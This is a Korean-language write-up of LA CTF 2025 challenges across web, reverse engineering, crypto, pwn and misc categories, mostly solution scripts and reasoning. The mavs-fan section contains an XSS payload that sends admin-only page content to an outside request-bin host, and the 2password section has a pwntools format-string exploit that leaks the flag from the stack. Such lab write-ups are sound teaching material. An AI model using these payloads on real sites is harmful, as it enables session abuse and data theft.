[LA CTF 2025] Writeup
2025 LA CTF Writeup
- WEB
- lucky-flag
- I spy…
- mavs-fan
- chessbased
- REV
- javascription
- patricks-paraflag
- nine-solves
- PWN
- 2password
- CRYPTO
- big e
- Extremely Convenient Breaker
- bigram-times
- MISC
- extended
- broken ships
- Danger Searching
WEB
lucky-flag
Just click the flag :)
https://github.com/uclaacm/lactf-archive/tree/main/2025/web/lucky-flag
버튼이 엄청 많은데 아무거나 눌러보면 no flag here라는 문구가 뜬다
수많은 버튼 중에서 진짜 버튼을 찾아야할 것 같은데 하나하나 전부 눌러보는 건 힘들 것 같다
삽입된 main.js
코드에서 else문이 no flag here을 출력한다면 if문의 조건만 맞추면 플래그를 얻을 수 있을 것 같다
1
2
3
4
5
6
7
8
9
10
11
12
let enc = `"\\u000e\\u0003\\u0001\\u0016\\u0004\\u0019\\u0015V\\u0011=\\u000bU=\\u000e\\u0017\\u0001\\t=R\\u0010=\\u0011\\t\\u000bSS\\u001f"`;
for (let i = 0; i < enc.length; ++i) {
try {
enc = JSON.parse(enc);
} catch (e) { }
}
let rw = [];
for (const e of enc) {
rw['\x70us\x68'](e['\x63har\x43ode\x41t'](0) ^ 0x62);
}
const x = rw['\x6dap'](x => String['\x66rom\x43har\x43ode'](x));
alert(`Congrats ${x['\x6aoin']('')}`);
플래그를 출력해주는 부분만 톡 떼서 콘솔에 쳐주면 플래그를 찾을 수 있다
I spy…
I spy with my little eye…
A website!
https://github.com/uclaacm/lactf-archive/tree/main/2025/web/i-spy
토큰을 주니 일단 토큰을 입력해보자
HTML 소스 코드에서 토큰을 가져와서 입력한다
콘솔에 토큰이 입력되어 있으니 복사해서 입력해준다
스타일시트랑 자바스크립트 코드 첫줄에서 토큰을 얻을 수 있다
이런 식으로 순차적으로 가면 될 것 같다
헤더랑 쿠키에서도 토큰을 찾아주자
robots.txt에서 다음 토큰의 상대 경로를 확인할 수 있다
구글이 방문할 페이지 리스트는 sitemap.xml이다
각각에서 토큰을 찾아 입력해주면 된다
이후로 DELETE 요청을 보내 토큰을 얻고 TXT 레코드의 토큰을 찾아 입력하면 플래그를 얻을 수 있다
mavs-fan
Just a Mavs fan trying to figure out what Nico Harrison cooking up for my team nowadays…
Hint - You can send a link to your post that the admin bot will visit. Note that the admin cookie is HttpOnly!
https://github.com/uclaacm/lactf-archive/tree/main/2025/web/mavs-fan
https://github.com/uclaacm/lactf-archive/tree/main/2025/admin-bot
메세지를 쓰고 전송하기 버튼을 누르면 메세지를 랜덤 UUID 주소 페이지에서 볼 수 있다
어드민 봇이 있는데 URL을 주면 어드민 권한으로 그 페이지에 접속하는 것 같다
1
2
3
4
5
6
7
8
const ADMIN_SECRET = process.env.ADMIN_SECRET || 'placeholder';
app.get('/admin', (req, res) => {
if (!req.cookies.secret || req.cookies.secret !== ADMIN_SECRET) {
return res.redirect("/");
}
return res.json({ trade_plan: FLAG });
});
app.js
파일의 일부분이다
/admin
으로 GET 요청을 보냈을 때 secret 쿠키가 ADMIN_SECRET과 일치하면 플래그를 주는 것을 알 수 있다 문제 설명에서도 나오듯이 쿠키는 HttpOnly로 전달되기 때문에 내가 스크립트로 변조할 수 없다
1
2
3
4
5
6
<h2>Write New Message</h2>
<form action="/api/post" method="POST">
<textarea name="message" placeholder="Enter your thoughts here..." required></textarea>
<br>
<button type="submit">Send Message</button>
</form>
message
라는 name
으로 입력한 값이 POST 된다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
try {
const response = await fetch(`/api/post/${postId}`);
if (!response.ok) {
throw new Error('Post not found');
}
const post = await response.json();
document.getElementById('post-id').innerHTML = `Post ID ${postId}`;
document.getElementById('post-content').innerHTML = post.message;
} catch (error) {
document.querySelector('.post-container').innerHTML = `
<div class="error-message">
<h2>Error loading post</h2>
<p>${error.message}</p>
</div>
`;
}
입력한 문자열이 innerHTML
로 페이지에 삽입되기 때문에 XSS가 발생할 수 있다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<image src='x' onerror= "
fetch('https://mavs-fan.chall.lac.tf/admin/', {
method: 'GET',
headers: {
'Accept': 'text/html'
}
})
.then(response => response.text())
.then(data => {
fetch('https://alezusp.request.dreamhack.games', {
method: 'POST',
headers: {
'Content-Type': 'text/plain'
},
body: data
});
})
.catch(error => console.error('Error:', error));
"/>
이렇게 이미지 태그 onerror
에 스크립트 넣으면 된다
사용자가 페이지에 접속하면 /admin
으로 GET 요청을 보내고 응답을 나의 서버로 전달하는 방식이다
드림핵의 Request bin을 이용했다
이제 XSS가 삽입된 페이지 링크를 어드민 봇에게 주면 플래그를 대신 받을 수 있게 된다
chessbased
Me: Mom, can we get chessbase?
Mom: No, we have chessbase at home.
Chessbase at home:
https://github.com/uclaacm/lactf-archive/tree/main/2025/web/chessbased
한 페이지와 어드민 봇을 준다
1
2
3
4
5
6
7
8
9
10
11
const openings = [
{ name: 'Ruy Lopez', moves: 'e4 e5 nf3 nc6 bb5 a6 ba4 nf6 0-0 be7 re1 b5 0-0' },
{ name: 'Italian Game', moves: 'e4 e5 nf3 nc6 bc4 nf6 d3 d6 0-0 0-0' },
[...]
{ name: 'Torre Attack', moves: 'd4 nf6 c3 d5' },
{ name: 'London System', moves: 'd4 nf6 c3 e6 bf4' },
];
module.exports.openings = openings;
openings.js
에 name
과 moves
들이 저장되어 있다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script>
import { push } from 'svelte-spa-router';
let query = '';
const onSubmit = () => {
push(`/search?q=${encodeURIComponent(query)}`);
};
</script>
<main>
<h1>Chessbased</h1>
<p>Welcome to chessbased, enter an opening to search in our chess opening explorer!</p>
<form on:submit|preventDefault={onSubmit}>
<label>
Opening:
<input type="text" bind:value={query}>
</label>
<input type="submit" value="go">
</form>
</main>
메인 페이지에서 입력을 주면 /search
에 q
파라미터로 들어간다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.post('/search', (req, res) => {
if (req.headers.referer !== challdomain) {
res.send('only challenge is allowed to make search requests');
return;
}
const q = req.body.q ?? 'n/a';
const hasPremium = req.cookies.adminpw === adminpw;
for (const op of openings) {
if (op.premium && !hasPremium) continue;
if (op.moves.includes(q) || op.name.includes(q)) {
return res.redirect(`/render?id=${encodeURIComponent(op.name)}`);
}
}
return res.send('lmao nothing');
});
POST를 받은 /search
는 받은 입력이 포함된 op
를 openings.js
에서 찾는다
op
가 존재하면 /render
의 id
쿼리에 담아 리다이렉트시킨다
1
2
3
4
5
6
7
8
app.get('/render', (req, res) => {
const id = req.query.id;
const op = lookup.get(id);
res.send(`
<p>${op?.name}</p>
<p>${op?.moves}</p>
`);
});
/render
에서 op
의 name
과 moves
를 반환한다
1
2
3
4
openings.forEach((op) => (op.premium = false));
openings.push({ premium: true, name: 'flag', moves: flag });
const lookup = new Map(openings.map((op) => [op.name, op]));
플래그가 openings.js
에 저장되어 있다
그래서 그냥 /render?id=flag
로만 이동하면 어드민 봇 없이도 플래그를 받아올 수 있다
어드민 봇은 왜 줬는지 모르겠다..
주어진 소스 파일이 좀 많긴 한데 건실하게 읽어보면 풀 수 있다
REV
javascription
You wake up alone in a dark cabin, held captive by a bushy-haired man demanding you submit a ”flag” to leave. Can you escape?
https://github.com/uclaacm/lactf-archive/tree/main/2025/rev/javascryption
플래그를 입력하라고 한다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const msg = document.getElementById("msg");
const flagInp = document.getElementById("flag");
const checkBtn = document.getElementById("check");
function checkFlag(flag) {
const step1 = btoa(flag);
const step2 = step1.split("").reverse().join("");
const step3 = step2.replaceAll("Z", "[OLD\_DATA]");
const step4 = encodeURIComponent(step3);
const step5 = btoa(step4);
return step5 === "JTNEJTNEUWZsSlglNUJPTERfREFUQSU1RG85MWNzeFdZMzlWZXNwbmVwSjMlNUJPTERfREFUQSU1RGY5bWI3JTVCT0xEX0RBVEElNURHZGpGR2I=";
}
checkBtn.addEventListener("click", () => {
const flag = flagInp.value.toLowerCase();
if (checkFlag(flag)) {
flagInp.remove();
checkBtn.remove();
msg.innerText = flag;
msg.classList.add("correct");
} else {
checkBtn.classList.remove("shake");
checkBtn.offsetHeight;
checkBtn.classList.add("shake");
}
});
페이지에 삽입되어 있는 cabin.js
코드이다
btoa
함수는 base64로 인코딩하는 js 함수이다
step1부터 step5까지의 과정을 역으로 진행하면 된다
base64 디코딩 -> URL 디코딩 -> [OLD_DATA] 문자열을 Z로 변경 -> 문자열 거꾸로 뒤집기 -> base64 디코딩
과정을 거치면 플래그를 얻을 수 있다
1
2
3
4
5
6
7
8
9
10
11
JTNEJTNEUWZsSlglNUJPTERfREFUQSU1RG85MWNzeFdZMzlWZXNwbmVwSjMlNUJPTERfREFUQSU1RGY5bWI3JTVCT0xEX0RBVEElNURHZGpGR2I
%3D%3DQflJX%5BOLD_DATA%5Do91csxWY39VespnepJ3%5BOLD_DATA%5Df9mb7%5BOLD_DATA%5DGdjFGb
==QflJX[OLD_DATA]o91csxWY39VespnepJ3[OLD_DATA]f9mb7[OLD_DATA]GdjFGb
==QflJXZo91csxWY39VespnepJ3Zf9mb7ZGdjFGb
bGFjdGZ7bm9fZ3JpenpseV93YWxsc19oZXJlfQ==
lactf{no_grizzly_walls_here}
patrics-paraflag
I was going to give you the flag, but I dropped it into my parabox, and when I pulled it back out, it got all scrambled up!
Can you recover the flag?
https://github.com/uclaacm/lactf-archive/tree/main/2025/rev/patricks-paraflag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t len; // rbx
size_t half_len; // rcx
size_t offset; // rax
int v6; // ebx
char paradoxified[256]; // [rsp+0h] [rbp-208h] BYREF
char input[264]; // [rsp+100h] [rbp-108h] BYREF
printf("What do you think the flag is? ");
fflush(_bss_start);
fgets(input, 256, stdin);
len = strcspn(input, "\n");
input[len] = 0;
if ( strlen(target) == len ) // target: l\_alcotsft{\_tihne\_\_ifnlfaign\_igtoyt}
{
half_len = len >> 1; // Divided by 2
if ( len > 1 )
{
offset = 0LL;
do
{
paradoxified[2 * offset] = input[offset];
paradoxified[2 * offset + 1] = input[half_len + offset];
++offset;
}
while ( offset < half_len );
}
paradoxified[len] = 0;
printf("Paradoxified: %s\n", paradoxified);
v6 = strcmp(target, paradoxified);
if ( v6 )
{
puts("You got the flag wrong >:(");
return 0;
}
else
{
puts("That's the flag! :D");
}
}
else
{
puts("Bad length >:(");
return 1;
}
return v6;
}
paticks-paraflag
파일이 주어지는데 IDA 돌려본다
input
으로 입력값을 주면 절반은 한 글자씩 쪼개서 짝수 번째 인덱스에 넣고, 나머지 절반도 한 글자씩 쪼개서 홀수 번째 인덱스에 넣는다
그렇게 완성된 paradoxified
가 target
과 일치하도록 하는 input
이 플래그다
1
2
3
4
5
6
7
8
9
10
11
12
string = list("l\_alcotsft{\_tihne\_\_ifnlfaign\_igtoyt}")
flag = list("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
length = 36
half_len = 18
for i in range(half_len):
flag[i] = string[2*i]
flag[half_len + i] = string[2*i + 1]
i += 1
print("".join(flag))
# lactf{the_flag_got_lost_in_infinity}
nine-solves
Let’s make a promise that on that day, when we meet again, you’ll take the time to tell me the flag.
You have no more unread messages from LA CTF.
https://github.com/uclaacm/lactf-archive/tree/main/2025/rev/nine-solves
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 i; // rsi
unsigned int input_ele; // eax
int yi_ele; // ecx
int step; // edx
char input[6]; // [rsp+0h] [rbp-18h] BYREF
char v9; // [rsp+6h] [rbp-12h]
puts("Welcome to the Tianhuo Research Center.");
printf("Please enter your access code: ");
fflush(stdout);
fgets(input, 16, stdin);
for ( i = 0LL; i != 6; ++i )
{
input_ele = input[i];
if ( (unsigned __int8)(input[i] - 32) > 94u )// 32 <= inputi] <= 126 (아스키 범위)
goto FAIL;
yi_ele = yi[i]; // yi: [27, 38, 87, 95, 118, 9]
if ( !yi_ele )
goto FAIL;
step = 0;
while ( (input_ele & 1) == 0 ) // 홀수가 될 때까지
{
++step;
input_ele >>= 1;
if ( yi_ele == step )
goto LABEL_9;
LABEL_6:
if ( input_ele == 1 )
goto FAIL;
}
++step;
input_ele = 3 * input_ele + 1;
if ( yi_ele != step )
goto LABEL_6;
LABEL_9:
if ( input_ele != 1 )
goto FAIL;
}
if ( !v9 || v9 == 10 )
{
get_flag();
return 0;
}
FAIL:
puts("ACCESS DENIED");
return 1;
}
nine-solves
파일을 IDA 돌려봤다
goto랑 LABEL 때문에 조금 헷갈린다
일단 get_flag()
함수에서 플래그를 받을 수 있는데 그러기 위해서는 goto FAIL을 만나면 안 된다
!v9 \|\| v9 == 10
조건문이 있긴 한데 이건 무시해도 풀리긴 풀린다
무시해도 되는 이유
v9
이 rbp-12에 있고 input
버퍼가 rbp-18에 있다
input
버퍼에 길이 16만큼 문자열을 받는데 input
버퍼의 크기는 6이다
만약 길이 7이상의 문자열을 받으면 오버플로우가 일어나 v9
의 값이 수정될 수 있다
fgets
는 문자열의 종료를 나타내는 개행 문자까지 받기 때문에 문자열 6개는 input
에 저장되고 v9
에 개행 문자가 들어가 0x0a 가 저장된다
때문에 !v9(=0)
과 v9
을 OR 연산하면 0x0a=10 그대로 나오니까 컴파일러가 이렇게 한 것 같다
그냥 v9
은 개행 문자 버퍼를 저장하는 곳으로 문자열이 6개에서 끝났는가를 물어보는 것이다
input_ele
가 홀수가 될 때까지 step
을 0부터 1씩 늘리다면서 input_ele
를 반으로 쪼갠다
그동안 yi_ele
가 step
과 일치하면 LABEL_9
으로 이동하게 되는데 input_ele
가 1이 되면 안 된다
input_ele
가 홀수가 되면 step
을 1 늘리고 input_ele
에 3을 곱하고 1을 더해서 다시 짝수로 만들어버린다
yi_ele
가 step
과 일치하면 통과된다
만약 일치하지 않으면 다시 while 문을 돌게 된다
어찌 됐건 input_ele
가 1이 아닌 상태로 LABEL_9
로 이동해서 루프문을 나가는 문자가 적절한 입력값이 될 것이다
동시에 step
도 vi_ele
와 맞춰줘야 한다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
yi = [27, 38, 87, 95, 118, 9]
def find_valid_chars(yi):
valid_chars = []
for yi_ele in yi:
for c in range(32, 127):
input_ele = c
step = 0
while input_ele != 1:
if input_ele % 2 == 0:
input_ele //= 2
else:
input_ele = 3 * input_ele + 1
step += 1
if step == yi_ele:
valid_chars.append(chr(c))
break
return "".join(valid_chars)
flag_input = find_valid_chars(yi)
print("Input: ", flag_input)
# Input: AigyaP
처음엔 yi
에서 역추적하려 했는데 머리 아파서 그냥 브루트 포싱 형식으로 했다..
bigram-times
It’s time to times some bigrams!
https://github.com/uclaacm/lactf-archive/tree/main/2025/crypto/bigram-times
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}~\_"
flag = "lactf{"
def bigram_multiplicative_shift(bigram):
assert(len(bigram) == 2)
pos1 = characters.find(bigram[0]) + 1
pos2 = characters.find(bigram[1]) + 1
shift = (pos1 * pos2) % 67
return characters[((pos1 * shift) % 67) - 1] + characters[((pos2 * shift) % 67) - 1]
shifted_flag = ""
for i in range(0, len(flag), 2):
bigram = flag[i:i+2]
shifted_bigram = bigram_multiplicative_shift(bigram)
shifted_flag += shifted_bigram
print(shifted_flag)
# jlT84CKOAhxvdrPQWlWT6cEVD78z5QREBINSsU50FMhv662W
# Get solving!
# ...it's not injective you say? Ok fine, I'll give you a hint.
not_the_flag = "mCtRNrPw\_Ay9mytTR7ZpLJtrflqLS0BLpthi~2LgUY9cii7w"
also_not_the_flag = "PKRcu0l}D823P2R8c~H9DMc{NmxDF{hD3cB~i1Db}kpR77iU"
두 글자씩 뽑아서 그 둘까리 이러쿵 저러쿵하면서 암호화하는 코드다
암호화된 플래그와 플래그가 될 수 없는 것들 2개가 나온다
아무래도 여러 개의 경우의 수가 있는 것 같다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}~\_"
def bigram_multiplicative_shift(bigram):
assert(len(bigram) == 2)
pos1 = characters.find(bigram[0]) + 1
pos2 = characters.find(bigram[1]) + 1
shift = (pos1 * pos2) % 67
return characters[((pos1 * shift) % 67) - 1] + characters[((pos2 * shift) % 67) - 1]
test = "jlT84CKOAhxvdrPQWlWT6cEVD78z5QREBINSsU50FMhv662W"
flag = ""
block = ""
for x in range(0, 48, 2):
for i in range(0,len(characters)):
for j in range(0,len(characters)):
block += characters[i] + characters[j]
if bigram_multiplicative_shift(block) == test[x:x+2]:
flag += block
print(block, end='')
block=""
else:
block = ""
두 글자를 섞었을 때 경우의 수가 여러 개 나올 수도 있다
플래그의 첫번째 블록은 la
이다
암호화된 플래그의 첫번째 블록은 jl
인 것을 알 수 있다
플래그를 모른다고 가정할 때 어떤 블록을 암호화해야 jl
이라는 블록이 나올지 브루트 포싱하며 찾는 코드이다
이때 la
를 암호화하면 jl
이 나와서 플래그의 첫 블록이 la
인 것을 알 수 있는데 만약 mC
를 암호화해도 la
가 나온다면 플래그의 경우의 수는 여러 가지가 되는 것이다
그래서 플래그가 아닌 값들을 미리 제시해준 것이다
브루트 포싱하다가 블록을 찾으면 break로 반복문을 빠져나와야 하지만 모든 경우의 수를 찾기 위해 break를 뺐다
1
lamCPKcttRRcf{u0Nrl}mUPwD8LT_Ay91p23l1myP2cAtTR8c~tiR7H9V3ZpDMLJ_6c{trR0fluPNmqLxDz_F{S04rhDBLE_pt3c9RhiB~E7i17y~2DbLg_5weUY}kpR3t9cii77~~iU7w~}
그래서 얻어낸 값이다
여기서 두 블록씩 쪼개보자
la
mC
PK
ct
… 뭐 이렇게 갈텐데
mC
, PK
이런 블록은 not_the_flag
와 also_not_the_flag
의 첫 블록 위치에 들어가있기 때문에 플래그 후보군에서 탈락이니 빼버린다
이런 식으로 한 블록 한 블록 찾으면서 뺄거 빼고 나면 제대로 된 플래그를 찾을 수 있다
1
lactf{mULT1pl1cAtiV3_6R0uPz_4rE_9RE77y_5we3t~~~}
더 깔끔하게 플래그를 역연산하는 코드가 있겠지만 일단 난 이 방법으로 풀었다
PWN
2password
2Password > 1Password
https://github.com/uclaacm/lactf-archive/tree/main/2025/pwn/2password
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void readline(char *buf, size\_t size, FILE *file) {
if (!fgets(buf, size, file)) {
puts("wtf");
exit(1);
}
char *end = strchr(buf, '\n');
if (end) {
*end = '\0';
}
}
int main(void) {
setbuf(stdout, NULL);
printf("Enter username: ");
char username[42];
readline(username, sizeof username, stdin);
printf("Enter password1: ");
char password1[42];
readline(password1, sizeof password1, stdin);
printf("Enter password2: ");
char password2[42];
readline(password2, sizeof password2, stdin);
FILE *flag_file = fopen("flag.txt", "r");
if (!flag_file) {
puts("can't open flag");
exit(1);
}
char flag[42];
readline(flag, sizeof flag, flag_file);
if (strcmp(username, "kaiphait") == 0 &&
strcmp(password1, "correct horse battery staple") == 0 &&
strcmp(password2, flag) == 0) {
puts("Access granted");
} else {
printf("Incorrect password for user ");
printf(username);
printf("\n");
}
}
username
은 “kaiphait”으로, password1
은 “correct horse battery staple”로, password2
는 플래그 값과 같도록 해야 플래그를 알려준다
PIE가 활성화되어 있어서 오버플로우가 발생해도 리턴 주소를 덮어쓰거나 할 수는 없을 것 같았다
1
2
3
4
5
else {
printf("Incorrect password for user ");
printf(username);
printf("\n");
}
그래서 처음엔 strcmp
에 뭐가 있나 생각하고 찾아보다가 아닌 것 같아서 코드 다시 읽어보는데 printf
에서 username
을 그대로 쓰고 있는 걸 찾았다
FSB를 이용해서 풀면 될 것 같다
password2
가 [rbp-0xa0]에 저장되고 password2
와 비교하는 flag
는 [rbp-0xd0] 즉 rsp 위치에 저장되는 걸 확인해볼 수 있다
printf
포맷 스트링에서 인자들은 rsi → rdx → rcx → r8 → r9 → 스택 순서대로 값을 받아온다
rsp에 위치한 flag
를 받아오려면 6번째 인자부터 읽어오면 될 것 같다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
e = process('./chall', env = {'LD\_PRELOAD' : './libc.so.6'})
p = remote('chall.lac.tf', 31142)
# p.sendlineafter(b'username: ', b'kaiphait')
# p.sendlineafter(b'password1: ', b'correct horse battery staple')
# p.sendlineafter(b'password2: ', b'lactf{')
payload = b'%6$llx %7$llx %8$llx %9$llx %10$llx'
p.sendlineafter(b'username: ', payload)
p.sendlineafter(b'password1: ', b'AAAA')
p.sendlineafter(b'password2: ', b'BBBB')
p.interactive()
스택에 저장된 헥스를 읽어올 수 있다
리틀 엔디안으로 저장된 값을 읽어온 것이기 때문에 8개씩 끊어서 거꾸로 쓰면 된다
1
2
uh{ftcal fc_2retn }86zx0c
lactf{hunter2_cfc0xz68}
MISC
extended
What if I took my characters and… extended them?
https://github.com/uclaacm/lactf-archive/tree/main/2025/misc/extended
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
flag = "lactf{REDACTED}"
extended_flag = ""
for c in flag:
o = bin(ord(c))[2:].zfill(8)
# Replace the first 0 with a 1
for i in range(8):
if o[i] == "0":
o = o[:i] + "1" + o[i + 1 :]
break
extended_flag += chr(int(o, 2))
print(extended_flag)
with open("chall.txt", "wb") as f:
f.write(extended_flag.encode("iso8859-1"))
chall.txt
파일도 같이 줬는데 인코딩 방식 때문인지 다 깨져서 나온다..
솔직히 코드 제대로 이해 안 하고 0과 1만 바꿔서 디코딩 코드 짰더니 풀리긴 했다
그냥 처음 등장하는 0을 1로 바꾸고 끝낸다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
with open('./misc\_extended/chall.txt', 'rb') as f:
encoded_flag = f.read().decode('iso8859-1')
flag = ""
for c in encoded_flag:
o = bin(ord(c))[2:].zfill(8)
for i in range(8):
if o[i] == "1":
o = o[:i] + "0" + o[i + 1 :]
break
flag += chr(int(o, 2))
print(flag)
# lactf{Funnily_Enough_This_Looks_Different_On_Mac_And_Windows}
디코딩 코드는 그냥 이렇게 0과 1만 바꿔서 짜면 된다
약간 크립토 느낌인데 왜 misc로 분류되는지는 모르겠다..
Danger Searching
My friend told me that they hiked on a trail that had 4 warning signs at the trailhead: Hazardous cliff, falling rocks, flash flood, AND strong currents! Could you tell me where they went? They did hint that these signs were posted on a public hawaiian hiking trail.
Note: the intended location has all 4 signs in the same spot. It is 4 permanent distinct signs - not 4 warnings on one sign or on a whiteboard.
Note: Feel free to try multiple plus codes. The answer skews roughly one ”plus code tile” south/west of where many people think it is.
Flag is the full 10 digit plus code containing the signs they are mentioning, (e.g. lactf{85633HC3+9X} would be the flag for Bruin Bear Statue at UCLA). The plus code is in the URL when you select a location, or click the ^ at the bottom of the screen next to the short plus code to get the full length one. If your plus code contains 3 digits after the plus sign, zoom out and try selecting again.
https://github.com/uclaacm/lactf-archive/tree/main/2025/misc/danger-searching
머리가 나쁘면 몸이 고생한다는 말이 있다
문제 설명을 보면 Hazardous Cliff, Falling Rocks, Flash Flood, Strong Current 경고 표지판 4개가 같이 있는 하와이의 산책로를 찾는 문제인 것을 알 수 있다
이런 문제 osint로 나오면 항상 구글 맵부터 찾았다
https://maps.app.goo.gl/s3TRuDY58T3CCHEN9
일단 물살이 세다니까 강부터 찾았다
근데 표지판 4개가 있는 지역을 바로 발견했다
그래서 플러스 코드 바로 찾아서 입력해봤는데 아니었다.. (참고로 영어 못 해서 플러스코드 뒤에 숫자도 세 자리씩 박음)
그렇게 첫날부터 틈날 때마다 구글 지도 돌아다니면서 찾아다녔는데 결국 못 찾았다
둘째날에 혹시나 싶어 검색어로 ‘hawaii hazardous cliff falling rocks flash flood strong current sign’ 이라 줬더니 첫번째 게시물로 polulu trail이 나왔다
처음엔 u에 성조 표시가 있어서 중국 지역인가 했더니 하와이 지역이었다
그 게시물을 다시 찾으려는데 안 보인다;;
아무튼 polulu trailhead 구글 맵에서 찾아보자
https://maps.app.goo.gl/Ne25vC3RRgAmxDBa8
정답이라 확신할 수 밖에 없는 곳이었다
플러스 코드는 73G66738+9C 이니까 lactf{}로 감싸주면 된다
broken ships
I found a hole in my ship! Can you help me patch it up and retrieve whatever is left?
https://github.com/uclaacm/lactf-archive/tree/main/2025/misc/broken-ships
아주 재밌는 문제였다
난 머리가 나쁘기 때문에 머리 안 쓰고 이것저것 하면서 노가다만 하면 답이 보이는 문제를 좋아한다
주어진 페이지 들어가면 일단 중괄호가 나온다
완전 아무런 정보도 없이 블랙박스 상태에서 하는 거라서 일단 제꼈었는데 친구가 도커인 것 같다고 말해줬다
문제 이름도 broken ship이었고 도커 v2도 검색하면 나온다길래 맞는 것 같았다
친구가 안 알려줬으면 못 풀 문제였음..ㅇㅇ
맨날 솔플만 하다가 팀플의 장점을 처음 알게됨;;
버프스위트로 응답 받아봐도 Docker-Distribution-Api-Version
이 헤더에 담겨서 온다
https://broken-ships.chall.lac.tf/v2/_catalog
레포지토리 이름을 알아낼 수 있다
그냥 버프 스위트로 요청만 줘도 json으로 응답 버프 스위트로 확인할 수 있는데 웹 페이지에도 json 표시되길래 그냥 웹 주소창으로 했다
https://broken-ships.chall.lac.tf/v2/rms-titanic/tags/list
태그 중에 wreck
을 찾을 수 있다
문제 이름이 broken ship이라서 wreck인가보다..
https://broken-ships.chall.lac.tf/v2/rms-titanic/manifests/wreck
태그에 접근해봤더니 wreck
이라는 이름의 파일이 다운로드된다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
{
"schemaVersion": 1,
"name": "rms-titanic",
"tag": "wreck",
"architecture": "arm64",
"fsLayers": [
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:99aa9a6fbb91b4bbe98b78d048ce283d3758feebfd7c0561c478ee2ddf23c59f"
},
{
"blobSum": "sha256:529375a25a3d641351bf6e3e94cb706cda39deea9e6bdc3a8ba6940e6cc4ef65"
},
{
"blobSum": "sha256:60b6ee789fd8267adc92b806b0b8777c83701b7827e6cb22c79871fde4e136b9"
},
{
"blobSum": "sha256:bae434f430e461b8cff40f25e16ea1bf112609233052d0ad36c10a7ab787e81c"
},
{
"blobSum": "sha256:9082f840f63805c478931364adeea30f4e350a7e2e4f55cafe4e3a3125b04624"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"arm64\",\"config\":{\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"sleep\",\"infinity\"],\"ArgsEscaped\":true},\"created\":\"2025-02-04T00:11:23.087132546Z\",\"id\":\"835e639aa9d090b4bb2028c0e86ca49ee10477c048c01d2d500ca1ff0620b854\",\"os\":\"linux\",\"parent\":\"d5417d70da785f20922f5180d3057298de842c800f7ac8ef80f9a5707aa933b2\",\"throwaway\":true,\"variant\":\"v8\"}"
},
{
"v1Compatibility": "{\"id\":\"d5417d70da785f20922f5180d3057298de842c800f7ac8ef80f9a5707aa933b2\",\"parent\":\"fc692fb7be236ded3f97802b5b2a2e4b8a20366157c22a8c448c25752c5bc84c\",\"comment\":\"buildkit.dockerfile.v0\",\"created\":\"2025-02-04T00:11:23.087132546Z\",\"container\_config\":{\"Cmd\":[\"RUN /bin/sh -c echo \\\"flag\\\" \\u003e /flag.txt # buildkit\"]}}"
},
{
"v1Compatibility": "{\"id\":\"fc692fb7be236ded3f97802b5b2a2e4b8a20366157c22a8c448c25752c5bc84c\",\"parent\":\"efd22692f3385ccf96866e1b10124f18512ae3b48848ddcfc662a43ee64104fc\",\"comment\":\"buildkit.dockerfile.v0\",\"created\":\"2025-02-04T00:11:22.988021129Z\",\"container\_config\":{\"Cmd\":[\"RUN /bin/sh -c rm flag.txt # buildkit\"]}}"
},
{
"v1Compatibility": "{\"id\":\"efd22692f3385ccf96866e1b10124f18512ae3b48848ddcfc662a43ee64104fc\",\"parent\":\"0792c9fcb47020e0001147667e2455c29e8a8865d49b517ec09920b625b400d6\",\"comment\":\"buildkit.dockerfile.v0\",\"created\":\"2025-02-04T00:11:22.870739296Z\",\"container\_config\":{\"Cmd\":[\"COPY flag.txt / # buildkit\"]}}"
},
{
"v1Compatibility": "{\"id\":\"0792c9fcb47020e0001147667e2455c29e8a8865d49b517ec09920b625b400d6\",\"parent\":\"94d87d7e20a72f3b9093cd8c623461dd98995bf0d3d83a2af6cf81d68b8e5bdb\",\"comment\":\"buildkit.dockerfile.v0\",\"created\":\"2025-02-04T00:11:22.858620838Z\",\"container\_config\":{\"Cmd\":[\"RUN /bin/sh -c echo \\\"lactf{fake\_flag}\\\" \\u003e flag.txt # buildkit\"]}}"
},
{
